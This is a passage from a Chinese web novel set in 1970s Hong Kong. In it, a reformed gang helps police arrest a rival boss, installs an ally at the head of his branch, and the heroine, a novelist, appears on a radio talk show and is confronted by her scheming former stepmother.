陈兴辉心思转动,也不知道这位陆爷口中的支持究竟有几分? 但不论如何,为了母亲,他决定进黄家寻找当年火灾的真相。 陈兴辉问:“什么时候行动?” 陆建华却笑着说不着急,“你先住下熟悉熟悉,时机到了自然会送你平安回黄家。” 于是陈兴辉就住进了帮里的宿舍楼,暂时在刀哥的堂口工作。 记账、文书、巡逻,偶尔他还要去剧组打杂帮忙,闲下来帮城里冰室外送。 半个月下来,陈兴辉点了点自己打零工的收入,足足有三百多港币。 他看着自己之前从没有攒下来过的‘巨款’,陷入沉思。 等查清楚真相,不知道他能不能正式加入南凤帮? 陈兴辉发愣时,阿文扒着梯子爬上来,凑近瞄了眼忍不住咂舌:“阿辉你也太拼了,听舍友说你每日只睡五个小时,身体能不能撑住啊,要不要去北哥那里看看?” 陈兴辉回过神来,“还好,我明天能休息半天。” 同寝室的阿文拍拍他肩膀,“有困难一定跟帮里、啊不公司讲,兄弟们不会坐视不管的。” 陈兴辉默了默,忍不住好奇问道:“文哥,南凤帮一直都这样吗?” 据他这些日子观察,南凤帮最底层的马仔也不会穷到喝西北风,有帮里的宿舍免费住,每月固定一百块的底薪,多劳多得,还不定时有大额外快。 最让陈兴辉印象深刻的,是带他做文书工作的某个小马仔,若在福角堂可能将将能让自己吃饱饭,但在南凤帮已经琢磨起了买房计划。 买房啊,听说南凤帮成立的房地产公司计划在城里拆迁建住楼,到时帮里兄弟购房有折扣,三百呎的屋子不会超过三万港币。 阿文知道陈兴辉问的‘这样’是什么,他下意识笑起来,笑容中带着骄傲自豪。 “当然不是!” “我们南凤帮变成这样也才不过一年,是北哥和陆爷干掉之前的阿公,拆了南城的鸭棚妓寨和赌馆,带帮里几千个马仔从良。” 陈兴辉无法想象是怎么办到的。 福角堂一千多个马仔都无法保证人人有收入,何况即便领到钱也要主动上交一部分给大哥。 层层剥削之下,福角堂数个生意火爆的赌场和妓寨,只肥了上面人的腰包。 而南凤帮不仅能让每个马仔衣食无忧,做的也并不是吃人肉嗦骨髓的生意。 南城百姓也不像福角区的百姓对帮派谈之色变充满畏惧,陈兴辉这些天亲身感受到的是亲近和信任。 就连、就连帮里每天安排的巡逻治安队,都比城外的军装警更像警察。 陈兴辉更加坚定加入南凤帮的决心。 不过他还有个问题,“文哥,你可知北哥在帮里为何没有一官半职?” 北哥的老婆苒姐都是堂口坐馆呢。 阿文笑了笑,“阿辉啊,你只要知道就连陆爷也要听北哥的话就行了。” 陈兴辉震惊到结巴,“为、为何?” 阿文挺直上身,神情骄傲,“咱们南凤帮之所以能让兄弟们有钱花有饭吃,都是因为北哥,北哥啊医术高,很能打,但更厉害的是他会赚钱!” 但凡混帮派的,除个别穷凶极恶之徒,十有八九只是想混口饭吃,自然谁发钱谁给饭谁就是大哥喽? 阿文心说,北哥发钱让陆爷去大学旁听管理课,听一节课二十港币,考试及格一门一百港币,多一分十港币呢! 陈兴辉一听就明白了。 不过阿文摸着下巴,抬眼看着屋顶沉吟道:“但这样说来,咱们帮里最大的应该是苒姐才对。” 陈兴辉露出虚心学习的表情。 却听阿文嘿嘿笑了两下,然后冲他挤眉弄眼,“陆爷讲的啦,北哥是老婆奴,苒姐的话他都听。” 陈兴辉:受教了…… 从阿文那里听说陈兴辉适应得不错,众人就把注意力都放在福角堂上。 平头伟和跛脚胜商定交易时间和地点,却在最后关头跛脚胜提出要求:“之前从我手里逃掉的女人听说还在你们五象城,把她带出来,给你们的兄弟再加五十个。” 平头伟在心里骂跛脚胜不要脸,面上却露出一丝欣喜,“胜哥你放心,我回去就找人,答应我的五十人别忘了。” 呸! 苒姐也是你个癞**能肖想的? 呸! 当我们不知道你送马仔的目的是想里应外合? 呸! 你个跛脚胜你等着,改天就送你蹲大牢! 磨了三四个月,终于拿下跛脚胜,平头伟一刻不敢放松,回城告诉霍骁北和温苒,等待下一步指示。【你现在阅读的是 】 120-130 第121章 第121章七零香江作家22 双方交易,交易地点自然不会是五象城,也不会是福角堂。 有关这个问题,平头伟足足和跛脚胜拉扯了一个多月,谁也说服不了谁。 笑哥不耐烦听这些,就‘胡言乱语’:“那不然去东象警署附近的酒店!” 平头伟就等着他这话呢,闻言先作恼让笑哥不要乱讲,转头却愣了片刻,一拍桌站起来恍然大悟般,语气欣喜道:“好!就在东象警署附近交易!” 跛脚胜皱着眉想说什么,平头伟劝道:“胜哥你听我讲,最危险的地方就是最安全的地方,凭那帮蛇佬想破头都想不到我们胆子这么大的!” 跛脚胜松开眉头,陷入沉思。 平头伟再接再厉:“东象警署附近不属于任何帮派管辖,我们三丙堂绝无可能插手做什么。” 说到这里他停下来,仔细打量跛脚胜,跛脚胜不明所以,皱眉道:“你想说咩?” 平头伟摇摇头,“传说新福会的黄阿公和警界处长是拜把兄弟,也不知真假啊?” 跛脚胜瞪着他,没好气道:“不过芝麻大的生意,阿公怎会放在眼里,我不怕丢脸的?” 平头伟连忙倒茶认错,“胜哥息怒,我随口乱讲的,那你说在东象警署附近交易如何?” 跛脚胜也没别的更好选择,就点头答应下来。 霍骁北传信给陈督察,陈督察得到消息后按捺住激动回到办公室,对照警署附近地图彻夜研究抓捕计划。 交易当天,温苒特意空出时间,和霍骁北出城郊游。 笑哥和平头伟带货到酒店,按照事先约定的房间号向前台取钥匙。 跛脚胜还没到,两人带人进房间等待。 结果一个小时过去,约定的交易时间早就迟到,对方还没到。 笑哥个爆脾气憋不住炸了,叉腰在房里走来走去骂骂咧咧。 平头伟脸色也很难看,跛脚胜实在没把他们放在眼里。 耐着性子又等了半个小时,房门被敲响,透过猫眼看到门口站着跛脚胜身边常带的马仔。 笑哥 撸起袖子去开门,平头伟拦住他劝道:“忍住啊笑哥!” 笑哥闭眼深呼吸,好半晌才勉强压下去动手的暴躁。 打开门,笑哥表情阴沉沉地盯着跛脚胜马仔,咬牙切齿道:“交易取消,转告跛脚胜我祝他去食屎!” 跛脚胜马仔强颜欢笑,“笑哥息怒,我们胜哥临时有事才来晚了,现在正在楼下房间等您和阿伟哥。” 平头伟从笑哥身后出现,冷笑道:“约定的时间迟到,还要更换交易地点,你们胜哥既然诚心不想交易,那便取消!” 他说完转身,笑哥抬手关门,跛脚胜马仔急地伸手去拦,“笑哥,阿伟哥,我们胜哥也是谨慎起见,这附近毕竟是东象警署,小心总没错的。” 笑哥一把推开他,“让我们干等一个多小时他跛脚胜可真谨慎!是在拿我们谨慎吧?” 笑哥马仔在他身后大声不满地嘀咕:“就是!酒店是你们福角堂选的,房间也是你们福角堂订好一直监视的,你们还有什么不放心的?” 见三丙堂的人真的恼了,跛脚胜马仔一面在心里骂大哥不办人事,一面抛出诚意让对方消气:“我们胜哥说,浪费二位的时间用一个点补偿!” 笑哥抬脚踹过去,“一个点打发叫花子呢?” 跛脚胜马仔也不敢躲,幸好这一脚不疼,接着他低声下气地道歉讨饶。 笑哥嫌弃地挪开眼,跟南凤帮的人待久了真是看不得这种没骨气的样子。 跛脚胜做人大哥的也实在不像话,明知迟到会惹恼他们,还派马仔来通知更换交易地点。 换成以前在龙爷手下时,笑哥早就把这马仔打得六亲都不认了。 但是现在嘛,他早就加入南凤帮洗心革面了,除了吼两声骂几句过过嘴瘾,也就能举着拳头吓一吓人。 平头伟没让笑哥继续为难跛脚胜马仔,有这把力气不如使在跛脚胜身上。 一行人跟着马仔下楼,来到跛脚胜临时更换的交易房间。 等待开门时,平头伟背着手放在后腰腰带上轻敲几下。 东象警署附近的公园里,听到听筒里传来的暗号,霍骁北低声和阿文说几句,阿文转身离开。 与此同时,东象警署内陈警督的办公室响起电话铃声。 随后沉寂的警署中一声巨响,陈警督摔门而出,大吼:“通知附近的军装警,一组二组三组跟我行动——” 眨眼的时间,交易酒店附近就被警察静悄悄地团团包围。 跛脚胜为人谨慎,安排了马仔望风,只是不等发觉不对就被陈警督手下擒住。 陈警督悄悄带人上楼。 此时交易的房间里,平头伟正在和跛脚胜讨价还价,好拖住他的脚步。 跛脚胜先是迟到,再是更换交易地点,无疑给了平头伟借题发挥的正当理由。 到了这个时候笑哥也参与进来,拍着桌子低吼:“五个点!” 话音刚落,砰——一声,房门从外被砸开。 陈督察带人举枪冲进来,“警察!不许动!” 跛脚胜一方不敢置信,还没反应过来只是下意识开始逃窜。 平头伟和笑哥这边佯装发怒,掀翻桌子阻拦跛脚胜,抓着椅子朝跛脚胜丢过去。 平头伟还不忘倒打一耙:“好哇是你!跛脚胜你串通警察给我们设套!你等着我做鬼也不会放过你!” 跛脚胜想跳窗没跳成,眼看走不了要被警察抓住,恼羞成怒地拔枪对准平头伟。 “你放屁!分明是你们串通蛇佬!” 在跛脚胜按下扳机的前一秒,陈督察面无表情开枪,一梭子弹穿过跛脚胜的手掌。 惨叫声响起,跛脚胜的枪脱手掉落,笑哥伸腿踩住,抢过来谄媚地交给陈督察。 “警察大哥,我无罪啊,我们都是被跛脚胜这鳖孙骗来的,千万不要抓我们!” 跛脚胜握着中枪颤抖的手抬起头,恨恨地瞪着笑哥。 陈督察一挥手,“都抓回去审问!” 警笛声载着两伙人回到东象警署,不过半天,福角堂大哥被捕入狱的消息整个香江道上的人都听说了。 有心人往前倒了倒,福角堂上一任坐馆惨死才没多久吧,新的大哥就入狱了,福角堂的风水是不是不太妙? 与此同时,消息传到五象城,彻底炸翻了天。 笑哥被捕了! 北城大火、龙爷死期、六叔高升,再加上笑哥入狱,南凤帮苒姐给出的所有卦,至今全部都应验! 一时间,温苒在五象城人口中多了个神算的名号。 和笑哥一起被抓的还有平头伟和几个马仔,风头稍过后,霍骁北去警署了解情况,顺便探监。 笑哥眼巴巴看着霍骁北,“北哥,一定救我啊!” 霍骁北安抚他几句去见平头伟。 平头伟倒沉得住气,见了大哥还知道询问案件情况。 两人交流一番,平头伟担忧道:“北哥,跛脚胜很谨慎,带我们换了房间交易,我们做的手脚不知道能不能算作证据?” 霍骁北让他不要担心,“过几天你们就能出来,到时就清楚了。” 靠毒品交易送跛脚胜蹲大牢不是不可以,但这样一来同时被抓的平头伟和笑哥等人也跑不了。 实际上,平头伟和跛脚胜拉扯这几个月,只是在转移对方的视线。 私下里霍骁北另外买通福角堂的马仔,或调查或伪造了某些证据。 这些证据自然也不是为了让跛脚胜有罪伏诛,他好歹是个堂口大哥,手下大把的马仔可以替他顶罪。 更何况这年头香江警匪互相勾结,新福会还是其中佼佼者,想捞个人还不简单? 所以温苒和霍骁北只好另辟蹊径。 新福会既然能捞出跛脚胜,也能让跛脚胜在牢里蹲死,区别就在于是新福会里哪方势力出手。 新福会的龙头黄爷正经娶了六房太太,在外私生子更是数不清。 黄阿公如今年过五十,底下儿女长成,早就开始争抢家产。 跛脚胜投靠了三房长子,为其杀人敛财争夺地盘。 南凤帮的海上赌场、北龙帮的制毒坊和鸭棚所代表的钱、权和资源早就进入新福会的视线,跛脚胜那位三房的主子少爷又岂会甘心放过? 跛脚胜被捕,三房的黄少必不会束手旁观。 但其他几房可不愿意见到跛脚胜平安无事。 福角堂是新福会里排得上号的堂口,能有机会拿到自己手上,相信黄少的兄弟不会不心动。 若是再加上温苒和霍骁北准备的——譬如跛脚胜替三房黄少暗杀算计兄弟的证据——挑起怒火,别说跛脚胜,就是三房黄少也自身难保。 还在警署关押的跛脚胜悠闲地等着主子少爷来捞自己,可结果一周过去、两周过去,不仅没见到主子少爷,他还马上要被挪到监狱收押等起诉。 跛脚胜都懵了,抓着栏杆大喊大叫:“我要找律师!律师!” 陈督察听到动静过来,“我们替你请了,上庭前会去监狱见你。” 跛脚胜晃着栏杆吼叫:“我不要你们替 我请我要自己请!我要见黄少!我是黄少的人!” 陈督察没好气道:“你当我们愿意替你请呢?” 几位黄少都发话了,哪个律师敢替跛脚胜辩护就是跟新福会过不去。 就现在这个律师,都是陈督察的顶头上司找其中一位黄少借来的。 跛脚胜崩溃发疯时,平头伟和笑哥带着几个马仔出狱了。 警署门口五象城的出租车停了一排,一个兄弟一辆上后座,嗖一下拉去饭店接风洗尘。 笑哥硬是和平头伟挤了一辆车,揽着平头伟肩膀咧嘴笑着:“阿伟啊,要不要留在三丙堂当大揸数啊?” 平头伟嫌弃地打掉笑哥手臂,“容我提醒你,三丙堂马上要被南凤帮正式收编。” 笑哥挥挥手不在意道:“换个名字罢了,你替我想个鸟名,黑鹰堂怎么样?多霸气!” 平头伟翻白眼。 一行人到饭店受到热烈欢迎,吃饱喝足,笑哥四下瞅瞅才发现,“哎?阿辉那小子呢?” 陆建华瘫在座椅上,懒洋洋地回他:“他回了福角堂,刚接手事情多。” 笑哥脑子都不会转了,“阿辉接手福角堂?他被黄爷认回去了?” 霍骁北放下茶杯,瞥他一眼说道:“说到这里正好有件事交给你,笑哥你挑一队兄弟去帮阿辉。” 平头伟坐直了,“北哥,那我呢?” 霍骁北道:“你也去。” 跛脚胜被捕几乎所有人都清楚是三丙堂搞得鬼,等黄家几个少爷斗明白,接下来就会全力对付三丙堂图谋五象城。 这时候就需要陈兴辉站出来,告诉大家算计跛脚胜的人是他,三丙堂也是他的势力,然后再以黄爷私生子的身份回归黄家。 届时陈兴辉手握两个堂口,无论如何也能在黄家占得一席之地。 第122章 第122章七零香江作家23 等陈兴辉摇身变成黄家少爷,三丙堂对新福会而言不再是外人,陈兴辉算计跛脚胜上位也就是新福会自家的事。 那时就是跛脚胜技不如人,弱肉强食本来就是帮派的生存法则。 而陈兴辉有算计跛脚胜的手段在前,还悄无声息收服三丙堂入局五象城,在外人看来则是手段心计不容小觑。 他那些同父异母的兄弟们当然不会放过他。 陈兴辉在前面吸引火力,南凤帮就可趁机收服北龙帮肃清五象城,大搞发展建设。 苦一苦陈兴辉,幸福五象城啊! 三丙堂‘投靠’陈兴辉,陈兴辉再接收福角堂,手握两个堂口,一时间全香江道上都沉寂下来,盯着陈兴辉的一举一动。 笑哥和平头伟带了一队兄弟去接替刀哥,把福角堂上下收拾得服服帖帖。 三丙堂余下的马仔被南凤帮收编,先学习改造,再配合训练加强纪律,新年前的最后一次海上赌场,扔去和刀哥看场。 春节前,南凤电视台定档金玉影视拍摄的合家欢情景喜剧,另外开设了两档歌舞和语言节目,刚播出没两天就火爆香江。 温苒既要过目剧本,还要监督节目质量,忙得脚不沾地。 霍骁北一面主持公司盘账,抽空处理了北龙帮剩下两个堂口。 唐叔负责维持全城治安,利叔带人关停制毒坊,推翻鸭棚赌馆和妓寨,和南城一样只留了一间供休闲用的麻将馆,预备来年在旧址盖新楼。 陆建华也没闲着,除了要准备大学旁听的课程考试,还要负责公司第一届年会。 为此,他还向霍骁北借了阿文,向温苒借了周玉珍和吴佳莹帮忙。 帮派上下都卯足了劲,想在新年前整理出一个全新的五象城。 北城的老百姓分外配合。 龙爷死后,北龙帮三个堂口开始各自为政很快反目成仇,打打杀杀抢地盘是常有的事。 若仅仅这样,北城的住户只要及时躲避还没多大问题。 坏就坏在地盘频繁易主,今天是三甲堂,明天是三乙堂,今天三甲堂刚收了保护费,明天三乙堂又来收保护费。 不给还不行,不给就打就砸就抢,折腾得北城百姓怨气冲天。 北城混乱,反观南城环境干净治安优秀,还有南凤帮带着赚钱。 北城百姓眼瞧着那叫一个羡慕,巴不得跟南城换一换。 是以南凤帮入北城后,安排北城住户清理卫生、登记姓名户籍等举措,大多北城百姓都十分配合。 节目步入正轨后,温苒终于能歇口气,在家躺平休息两天,陈兴辉、平头伟和笑哥回城上门来。 饭桌上,陈兴辉说明来意:“每到年节新福会阿公都会邀请堂口坐馆和一众长老去黄家参加宴会。” 陆建华哐哐夹菜,边吃边说:“记得空肚子去啊,听说黄家巨富,鲍鱼都算小菜的。” 笑哥两眼放光,“真假啊?那我多带几个人吃够本?” 平头伟嘴角抽搐,看向温苒和霍骁北解释:“北哥,苒姐,早几年黄爷就把宴会交给了几位黄少负责,邀请函也是黄少的人派发,但前几天来福角堂发邀请函的竟然是黄爷身边的忠叔?!” 温苒对这人有所耳闻,听说这位忠叔是黄家的大管家,黄爷最成气候的儿子见了他都得低头叫人。 陈兴辉从兜里摸出那张邀请函推过去,“黄爷每年有赏字的习惯,之前我偶然见过,这上面的字很像黄爷亲笔。” 温苒:“……” 还赏字,真把自己当皇帝了? 笑哥伸着脖子够过来,压低声音:“黄爷是不是知道辉哥的身份了?” 温苒回道:“知不知道,黄爷都要拉拢他。” 新福会折腾了大半年想进五象城,结果赔了夫人又折兵。 先是跟三甲堂和三乙堂买粉,钱花了不少,人也被陈督察抓了不少,招揽的进度却是一点没有。 龙爷死后,这两个堂口的坐馆猴子称王,仗着躲在五象城新福会拿他们没办法,人精一样只管捞钱。 再是跛脚胜拉拢三丙堂不成反被算计进大牢,连福角堂都被名不见经传的陈兴辉掌控。 年前这段时间足够旁人把陈兴辉调查个底朝天,短短一个月陈兴辉从妓寨看场的马仔摇身变成手握两个堂口的大哥,面对各方试探不慌不忙稳如泰山,他个人能力不提,背后没有猫腻谁也不信。 那些成了精的老狐狸甚至已经顺藤摸瓜,猜到了南凤帮身上。 而如果这一切真是南凤帮搞得鬼,也就意味着新福会里排名前三的福角堂虽然名义上还属于福角堂,但听不听话听谁的话可真不好说。 温苒想了想,对陈兴辉说道:“这次去黄家,黄阿公必会叫你单独谈话,你可以适当透露自己的身世。” 陈兴辉表情犹疑,“怎么个适当法?” 温苒回他:“譬如你出生的村子,不经意间回忆和阿姨相处时的情景,一定要表现出阿姨对你生父的思念。” “还有你,你也要演,假装出对生父抛弃你们的恨意,还要混合着对父亲向往。” 陈兴辉:“……” 恨他不需要演,可向往…… 温苒就道:“那你就幻想一个自己理想中的父亲。” 向往这不就有了? 再给他抛妻弃子找几个不得已的理由,半爱半恨不就也有了? 陈兴辉似懂非懂地点了点头。 经过温苒这个影后的一对一指导,陈兴辉可算开了点窍。 这之后,平头伟交代了些福角堂的情况。 陈兴辉问温苒:“苒姐,福角堂整顿后只留下赌场业务,妓寨的女人能不能过来工作?” 温苒点点头,“可以,但要跟她们说明城里的情况,从良以后就不许再偷偷接客。” 陈兴辉扒了一大口饭,“苒姐放心,我只让愿意从良的过来。” 他回城后,听说了不少南凤帮整顿北城时遇到的麻烦。 这世上不是所有人都会感激别人的好心,也不是所有人接受好心后都知道回报,多的是恩将仇报还嫌你给的不够多的人。 陈兴辉说完,平头伟忙道:“跛脚胜有一支拍风月影片的剧组,听说拍 摄器材是花大价钱从国外搞的,要不要也一起送过来?” 温苒面无表情道:“器材送过来,人教训一顿丢去当苦力。” 南凤帮从孙氏三房手里拿的地正在开发,正好缺人。 年前最后一次海上赌场结束后,刀哥带着三丙堂,准确来讲已经改名为飞鹰堂的马仔下船回城,正好赶上公司第一届年会。 整个五象城焕然一新,干净的街道上张灯结彩,最宽敞的主街两侧各式摊贩摆设得错落有致,行人面上喜气洋洋,其中不乏许多自城外闻讯而来的游客。 温苒走在人群中,身侧霍骁北并行护着她,阿红和阿文从后面的摊子上追过来,“苒姐,刚出锅的年糕!” 红豆馅的糯米年糕,带着香喷喷的热气,温苒接过来小心翼翼咬一口,跟阿红闲聊:“看来出租车上贴的广告反响不错,从城外来了很多游客。” 五象城发展当然不能只靠城里这点人,还是得拉动外需,像这种热闹的活动以后可以每个月办一次。 阿红三两口咽下年糕,用力点头道:“可不是,这两天城里多了很多生面孔,唐叔负责维护治安都要忙死了。” 霍骁北瞥到巷子里露出来的小摊,对阿文道:“去找唐叔,告诉他加派人手注意游客安全,另外在街上设置几处市场监察,以防摊贩宰客。” 阿文咽下满嘴小吃,嗯嗯点头:“我记住了,北哥我马上去!” 阿文转过身一溜烟儿小跑不见了影子。 除夕的前两天,南凤帮年会在广场举办,载歌载舞热闹非凡,这热闹在陆建华宣布每人多发两月工资作为年终奖金时达到顶峰。 新年新气象,热热闹闹的春节后,南凤帮复工,着手建立五象城发展基金会。 温苒偶尔关注参与一下,其余时候都在全身心准备《长生诀》的完结卷。 时下香江和宝岛武侠小说风靡,数量如过江之鲫,各式风格数不胜数。 但温苒别具一格的不会一招半式的主角,还是闯出了一片天。 这本小说也是迄今为止温苒三部小说中最受欢迎的一部,每期的读者来信加起来都要专门腾出一间屋子存放。 为此,霍骁北在刚装修好的别墅旁又买了一幢别墅。 每天的写作之余,温苒额外增添了一项给读者回信的日程。 书房门被敲了敲,温苒喊了声‘进’,新来的助理汇报:“苒姐,报社来电话,亚星电视台想邀请您去参加周六晚八点的访谈节目,听说主持人是当红的大作家尹荃和庄玉,主编问您有没有兴趣?” 温苒抬眸想了想,“去吧。” 如果说尹荃是香江和宝岛男性作家中的佼佼者,庄玉就是女性作家的领头羊。 温苒早就想认识认识这位庄女士了。 听说温苒答应参加访谈节目,顾大少手一挥送来一位经纪人和两名跑腿助理,经纪人还手握顾少亲妈顾太太常用造型室的VIP卡,连礼服都选定了几家当季新品。 温苒:“……” 她没记错的话,那个访谈节目是个电台节目,根本不用出镜。 知道的是顾大少在笼络她这个报社的当家作家,不知道的还以为她收拾收拾要出道了。 于是经纪人和助理怎么来的怎么回,造型和礼服都不用,周六当天才会陪同温苒去参加节目彩排。 霍骁北下班回来,听说温苒要参加节目,便道:“明天出城逛街,顺便买见面礼物?” 温苒趴在沙发背上嗯嗯点头,“对了,阿伟他们参加黄爷的宴会结果如何?” 霍骁北切了盘水果,端过来在她旁边坐下,说道:“多是各房拉拢试探,大房的主母想把女儿嫁给阿辉。” 温苒一颗葡萄好悬卡在喉咙里。 还不算完,霍骁北又道:“二房大少告诉阿伟,大房千金私生活混乱,这次怀了男明星的孩子不想打掉。” 温苒:“……” 所以陈兴辉不仅被迫和同父异母的姐妹谈对象,还要当接盘侠? 温苒丢开书靠过去,“还有什么?” 霍骁北捏捏她脸颊,轻笑着把她揽在怀里,“大房大少身边带了个女人,据说是孙氏二房送的,孙荣美弟弟的私生女。” 温苒眼睛都瞪圆了,“她们还折腾呢?” 孙荣美回归孙氏后,主持的第一个项目就赔惨了,后来被孙老爷子扔到一边。 孙老爷子年事已高,虽然挺过那场大病,但毕竟没有了先前的精力,折腾了一番很快就服老,和大房父子重归于好。 于是二房小丑惨遭抛弃,孙荣美再次被逐出公司。 没想到这才多久,又让她琢磨到新出路了? 第123章 第123章七零香江作家24 第二天,温苒和霍骁北出城逛街。 逛完书店出来吃饭,刚下楼就瞥到个熟人。 温苒眼珠一转,拽着霍骁北到最近的柜台装作挑选东西。 柜员笑着上前:“两位您好,这是店里的经典款式,工匠师承以前皇室的手艺……” 孙荣美和孙耀祖在身后路过,温苒低头去看,入眼就是金灿灿一片。 孙荣美的声音传过来:“我花大力气打听到的,顾家千金在顶楼电影院勤工俭学给人检票。待会儿我安排人找她麻烦,你英雄救美挺身而出,抓紧机会一定给我拿下她!” 孙耀祖的语气很不耐烦:“知道了阿妈,先拐她上床让她怀孕,这样顾家理亏就会多给陪嫁……” 温苒攥紧了拳头,目露凶光。 柜员小心翼翼询问:“女士,请问……” 温苒用力一锤,“买!这个这个那个,把这几条金链都包起来!” 柜员犹犹豫豫左看看霍骁北右看看温苒,深呼吸刚要鼓起勇气询问,就见高大冷酷的男人抽出卡递过来。 柜员:“……” 一秒都没有犹豫她飞快接过卡,脸上端起微笑:“好的,二位请您稍等。” 拿到包好的金链子,温苒拽着霍骁北追上那对母子,“待会儿就看你了阿北。” 霍骁北:“……” 霍骁北带她停下,在温苒疑惑和催促的目光中说道:“门口有军装警,把人抓进去审问,改天孙少入狱就能登报。” 温苒杏眼一亮,“好主意!” 然后拽着霍骁北换了个方向,出门喊军装警抓人。 一行人紧赶慢赶,好悬没赶上大戏开场。 剧情刚进展到孙荣美安排的混混找人家姑娘麻烦,带来的军装警飞奔上去把人全部擒住,在孙荣美母子呆滞的目光中押着犯人扬长而去。 孙耀祖颤声问道:“妈!这下怎么办?” 孙荣美没好气回:“整天妈妈妈怎么办,你长脑子是摆设吗?追女生都要我帮你?” 日行一善结束,温苒拍拍手,和霍骁北下楼去吃饭。 吃完饭两人去挑礼物,回城时路过报社,借报社电话给顾少打个电话,提醒他孙荣美母子对他妹妹图谋不轨。 相比孙氏,顾氏的财力和人脉要更胜一筹,拿捏区区孙氏二房易如反掌。 听说当天晚上孙老爷子就把孙荣美喊到跟前,甩出一张支票让她滚,管好自己儿子,以后不许再来老宅。 算是变相分家,提前给孙荣美分出去,不过财产只有那一张支票。 周六下午节目彩排,经纪人接温苒去电视台。 亚星是香江排名前三的电视台,鼎鼎大名的港姐选美比赛就是由亚星和环岛电视台联合举办。 彩排进行得很顺利,温苒和庄玉交换了通信地址和电话号码,还约好一起逛书店喝咖啡。 尹荃在一旁酸溜溜地看着,他自认样貌气质不俗,还是大有名气的作家,以往见过的女人都逃不过他的魅力。 结果眼前这两个撇开他聊得火热,眼神都鲜少给他。 尹荃盯着温苒,趁两人话歇时插嘴:“温小姐年轻貌美,一定有很多追求者,那对自己的另一半有没有特别的要求呢?” 庄玉战术性喝水,闻言在心里冷笑,老色鬼又孔雀开屏了。 温苒惊讶了一瞬,回道:“没有,我已经结婚了。” “噗——” 庄玉一口水喷出去,给尹荃昂贵的西装喷了个湿淋淋。 尹荃嘴角抽搐,一时不知该为倾心的靓女已婚感到震惊和嫉妒,还是该为自己狼狈的形象感到丢脸。 庄玉吃惊到音调都高了个八度:“你结婚了?” 温苒点头。 庄玉张张嘴想说什么,却又不知道该说些什么。 尹荃脱下外套,接过工作人员递来的毛巾擦拭衣服上的水渍,咬牙切齿说道:“阿温一定要跟我们介绍你老公啊,我倒要看看究竟什么样的男人才能抱得美人归?” 庄玉听见这话连忙转头看温苒,点着头附和:“我也要看。” 温苒眨眨眼,“那很快了,待会儿结束录制他会过来接我。” 话题稍稍跑偏,然后一偏不可收拾。 这两人实在对霍骁北感兴趣,私下不方便深究,此时就借着节目互相配合追问打探。 香江这类节目一向没什么底线,这档访谈 因为主持人和嘉宾的身份稍显正经,但犀利辛辣起来也是能频频被各大报纸报道谈论的。 为了让温苒不好意思拒绝回答,庄玉先把话题引到尹荃身上,尹荃在外有个风流才子的称呼,谈起男女之事瞬间把下限拉低,这之后庄玉反口扯到温苒身上。 温苒眨眨眼,面上笑盈盈,不动声色地将话题抛回去。 庄玉毫无防备,温苒问什么她下意识就说秃噜嘴倒了个干净。 尹荃一看来劲了,像是要报喷水之仇,枪口对准庄玉开始拷问。 温苒配合他欺负完庄玉,又帮庄玉欺负回去,两个本该一致对外的主持人被挑拨得针锋相对,房间里火药味十足,下半场彻底成了两位的情史兼黑历史大揭秘。 场外工作人员看着节节攀升的收听率都看呆了,也就没提醒二位大作家别搞内讧。 可以想象,明天的报纸该有多热闹。 节目到尾声,两人被提醒说结束语,先后冷静下来才发觉出猫腻。 回想起刚才激动时化身机关枪和大漏斗的场面,庄玉和尹荃眼神幽怨地望着温苒。 好你个阿温,看着柔柔弱弱很好欺负,没想到这么鬼机灵? 庄玉在心里叹气,想想也不奇怪。 《长生诀》里林长生明明不会一星半点的招式,却把江湖上的高手耍的团团转,靠得不就是她满脑鬼点子么? 林长生是假的,但林长生本人和那些鬼点子可都出自温苒之手啊! 节目获得圆满成功。 录制结束后,尹荃硬撑着没有离场去换衣服,虽然很失礼,但他就想尽快看到阿温的老公究竟什么样?是不是长了三头六臂? 三人走出录音间,刚好撞到楼上下来吵吵闹闹的一行。 “汪经理,我们公司这部电视剧拍摄用的都是跟着孙氏打拼的元老,每个人都很专业,剧本您也看过,用亚星的演员在亚星播放一定会火的!” “到时我无偿给电视台加广告,我听说今年港姐选美要大办,赞助经费应该不好拉,汪经理你好好考虑,你答应我的要求,我帮你去跟我阿爸讲提高赞助。” “不然,汪经理你要小心喽,我们孙氏和各大报社关系不错,你也不想自己收受贿赂的丑闻被公之于众吧?” 略有耳熟的声音传过来,温苒挑了挑眉。 威逼利诱这套,孙荣美都快被逐出孙家了,还打着孙氏的幌子百试不厌呢? 汪经理黑着脸,语气不善:“孙经理你不要欺人太甚!” 孙荣美笑得得意:“汪经理,人生在世呢要识时务,你不过是个小小经理,你听话就有饭吃,不听话大可以换人来做这个经理。” 汪经理冷笑:“好哇!我倒要看看,孙少要保的位子,孙经理要怎么换个人做?” 孙荣美气急败坏,“你!你是大房的人” 汪经理不屑回答转身就走,孙荣美不甘心地去拉扯他,“站住!你给我站住!大房给了你多少好处,我给你双倍!” 两人拉拉扯扯从楼梯上下来。 温苒和庄玉尹荃站在门口看热闹,孙荣美不经意间一瞥,瞥到个让她恨得牙痒痒的靓丽人影,她猛地扭头转回去,失声尖叫:“温苒?!” “贱人!” 脑海里冲出自温苒逃跑后家里接连遭遇的变故,一直到前两天算计顾家千金不成反被警告,老爷子一怒之下甩给她一百万让她滚远不要再回老宅的场面,孙荣美脑子里那根弦崩断,所有情绪似乎都有了发泄口。 她甩开汪经理,高高举起手,尖叫着冲向温苒。 “贱人!贱人!你还有脸出现?!” 关键时候,尹荃这个妇女之友还是有点担当,把温苒和庄玉护在身后,当仁不让地向前一步。 然后就被用力甩了一耳光,脑瓜子都嗡嗡的。 尹荃:“……” 汪经理从惊呆中回神,想到对方文坛台柱的身份,赶忙上前拦住孙荣美这个疯婆子,同时喊人出来帮忙。 阿红听到动静第一时间跑出来,牢牢地把温苒护在身后,凶狠瞪着孙荣美。 一群人费老大劲把孙荣美制服,孙荣美挣扎着骂骂咧咧: “贱人!一个私生女我给吃给你穿,给你安排有钱有势的结婚对象,你不领情就算了,反过来勾引你大哥!贱人!” 私生女? 勾引大哥? 众人来不及震惊,便听她又道: “我当你榜上了什么好东西,原来是个穷酸作家?” 尹荃一边脸火辣辣的疼,听见这话险些没气死。 他一文难求!他一个剧本几万港币!死老太婆会不会说话?他怎么就穷酸了?! 顾少派来的经纪人急急忙忙赶过来,呵斥孙荣美:“温太休要胡说八道!温苒小姐是我们顾氏旗下报社合作作家,我们有权对污蔑温小姐名誉之人追究责任!” 